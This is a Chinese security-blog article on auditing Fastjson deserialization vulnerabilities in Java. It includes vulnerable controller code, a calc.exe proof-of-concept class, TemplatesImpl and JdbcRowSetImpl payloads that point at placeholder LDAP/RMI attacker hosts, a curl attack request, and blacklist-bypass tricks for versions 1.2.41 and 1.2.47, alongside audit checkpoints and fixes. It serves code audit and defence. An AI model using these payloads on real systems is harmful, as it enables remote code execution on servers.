freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Java漏洞在白盒审计中的技巧——反序列化篇(Fastjson)
Hrlies 2025-03-30 19:34:22 55856
所属地 陕西省

一、漏洞原理

Fastjson反序列化漏洞的核心问题在于:当反序列化过程中自动加载了恶意类(通过@type指定)时,可能触发任意代码执行。关键点:

  1. AutoType机制:Fastjson通过@type标识类名,反序列化时会尝试实例化该类

  2. 危险类利用:攻击者通过指定包含危险方法的类(如TemplatesImpl),构造恶意JSON

  3. 版本差异:漏洞主要存在于1.2.24及之前版本,后续版本通过关闭AutoType默认值增加了安全防护

二、漏洞代码示例

1. 存在漏洞的服务端代码(Spring Boot示例)

@RestController
public class VulnerableController {
    
    @PostMapping("/parse")
    public String parseJson(@RequestBody String json) {
        // 危险操作:直接使用fastjson解析不可信数据
        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
        return "Parsed: " + obj.getClass().getName();
    }
}

2. 恶意类构造(攻击者准备的Exploit类)

public class EvilClass {
    static {
        try {
            // 弹计算器作为攻击演示(实际攻击可能是更危险的操作)
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

三、攻击利用过程

1. 构造恶意JSON

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["恶意类的字节码(Base64编码后的EvilClass.class)"],
    "_name": "xxx",
    "_tfactory": {},
    "_outputProperties": {}
}

2. 攻击步骤

(1)编译EvilClass.java生成class文件
(2)将class文件进行Base64编码
(3)发送恶意HTTP请求:

curl -X POST http://vulnerable-server/parse \
-H "Content-Type: application/json" \
-d '{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADIAlgo..."],
    "_name": "hack",
    "_tfactory": {},
    "_outputProperties": {}
}'

3. 漏洞触发过程

JSON.parseObject()
  -> 解析@type指定的类
  -> 实例化TemplatesImpl
  -> 自动调用getOutputProperties()
  -> 加载恶意字节码
  -> 执行static代码块中的代码

四、代码审计关键点

在审计Fastjson代码时,需要重点关注以下模式:

1. 危险方法调用

// 高风险用法
JSON.parse(jsonStr);
JSON.parseObject(jsonStr, Object.class);
JSON.parseObject(jsonStr, Type.class, Feature.SupportNonPublicField);

// 相对安全的用法(指定具体类型)
JSON.parseObject(jsonStr, User.class);

2. AutoType相关配置

检查是否关闭了安全配置:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 危险配置
ParserConfig.getGlobalInstance().addAccept("com.example."); // 白名单控制

五、修复方案

1. 基础修复措施

// (1) 升级到安全版本(1.2.83+)
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>

// (2) 关闭AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// (3) 使用安全模式(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

2. 安全编码规范

// 反序列化时指定具体类型
User user = JSON.parseObject(jsonStr, User.class);

// 不要反序列化接口/抽象类等非具体类型

六、漏洞验证POC

这里给出一个本地验证的完整代码:

public class FastjsonPoc {
    public static void main(String[] args) {
        // 构造恶意JSON(使用JNDI注入方式演示)
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://attacker-server/Exploit\"," +
                "\"autoCommit\":true}";

        // 模拟服务端反序列化操作
        try {
            JSON.parse(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

七、拓展知识

  1. Gadgets链:实际攻击中需要构造利用链,常见的有:

    • JdbcRowSetImpl(JNDI注入)

    • TemplatesImpl(字节码加载)

    • BCEL ClassLoader

  2. 绕过方式:新版本中的AutoType绕过技巧包括:

    • 使用L开头、;结尾的类名

    • 利用未在黑名单中的第三方库

    • 特殊字符绕过

根据案例深入分析

以下是几个Fastjson反序列化漏洞的真实案例解析,涵盖不同版本和利用链的典型场景:

案例1:TemplatesImpl字节码加载(无网络交互利用链)

漏洞版本:Fastjson <=1.2.24

利用链原理

  • 触发点:通过_bytecodes字段加载恶意类字节码,利用TemplatesImpl类的getOutputProperties()方法触发类加载。

  • 攻击步骤

    1. 构造恶意类:编写一个继承AbstractTranslet的类(如EvilObject),在静态代码块或构造函数中植入恶意代码(如执行系统命令)。

    2. 生成字节码:将恶意类编译为.class文件,进行Base64编码。

    3. 构造Payload

      {
        "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        "_bytecodes": ["恶意字节码Base64"],
        "_name": "a.b",
        "_tfactory": {},
        "_outputProperties": {}
      }
      
    4. 触发漏洞:服务端调用JSON.parseObject()时,TemplatesImplgetOutputProperties()方法被触发,加载并执行恶意字节码中的代码。

技术细节

  • 关键字段_bytecodes存储恶意类字节码,_outputProperties触发getOutputProperties()方法。

  • 绕过限制:需启用Feature.SupportNonPublicField以支持非公有字段的反序列化。

案例2:1.2.47版本缓存机制绕过AutoType

漏洞版本:Fastjson 1.2.47

利用链原理

  • 触发点:利用Fastjson的缓存机制绕过AutoType黑名单,结合java.lang.ClassJdbcRowSetImpl实现JNDI注入。

  • 攻击步骤

    1. 构造双Payload

      {
        "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
        "b": { 
          "@type": "com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName": "ldap://attacker-ip:1389/Exploit",
          "autoCommit": true
        }
      }
      
    2. 利用缓存机制:第一个Payload通过java.lang.ClassJdbcRowSetImpl类名加入缓存,第二个Payload绕过黑名单检查。

    3. JNDI注入:触发autoCommit属性后,服务端连接攻击者控制的LDAP/RMI服务器,加载远程恶意类。

技术细节

  • 缓存绕过:Fastjson在解析java.lang.Class时会将类名缓存,后续解析时跳过黑名单校验。

  • 适用场景:JDK版本需支持JNDI远程加载(如JDK 8u191之前)。

案例3:CTF比赛中利用FlagBean类的Getter方法

漏洞场景:CTF竞赛中的Flag读取

利用链原理

  • 触发点:通过无setter但满足条件的getter方法触发敏感操作。

  • 攻击步骤

    1. 构造Payload

      {
        "@type": "com.ctfshow.happyfjs.Beans.FlagBean",
        "flag": { "@type": "java.util.HashMap" }
      }
      
    2. 触发getFlag方法FlagBean类中getFlag方法满足以下条件:

      • 方法名以get开头且第四个字符大写。

      • 返回值类型为Map

      • 无对应的setFlag方法。

    3. 执行敏感操作getFlag方法内部逻辑可能触发命令执行或直接返回Flag。

技术细节

  • Fastjson规则:无setter时,若getter满足特定条件(如返回值继承自Collection/Map),则会被调用。

  • 防御绕过:通过构造合法的类结构触发隐藏逻辑。

案例4:1.2.41版本黑名单绕过(类名双写)

漏洞版本:Fastjson 1.2.41

利用链原理

  • 触发点:利用Fastjson对类名处理的缺陷,通过双写类名绕过黑名单。

  • Payload构造

    {
      "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
      "dataSourceName": "rmi://attacker-ip:1099/Exploit",
      "autoCommit": true
    }
    
  • 绕过原理:Fastjson在解析类名时会去除开头的L和结尾的;,导致实际加载的类名为com.sun.rowset.JdbcRowSetImpl,绕过黑名单检查。

漏洞修复与防御建议

  1. 升级版本:使用Fastjson >=1.2.83,默认关闭AutoType并增强黑名单。

  2. 安全配置

    ParserConfig.getGlobalInstance().setSafeMode(true);  // 完全禁用AutoType
    
  3. 输入验证:避免反序列化未经验证的JSON数据,使用具体类而非Object.class

  4. 运行时防护

    # 限制JNDI远程加载
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
    

总结

Fastjson漏洞的核心在于AutoType机制和危险类的链式调用。在审计时需关注:

  • JSON.parseObject()未指定具体类型的情况。

  • 黑名单覆盖范围及绕过可能性。

  • 敏感类(如TemplatesImplJdbcRowSetImpl)的调用路径。

# Java反序列化漏洞 # Java代码审计 # Fastjson反序列化漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Hrlies 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Hrlies LV.5
微信公众号:从生活到技术上的安全
  • 13 文章数
  • 9 关注者
Java漏洞在黑盒实战中的技巧——JNDI注入篇
2025-03-30
Java漏洞在黑盒实战中的技巧——反序列化篇
2025-03-27
Java webshell的绕过
2025-03-24
文章目录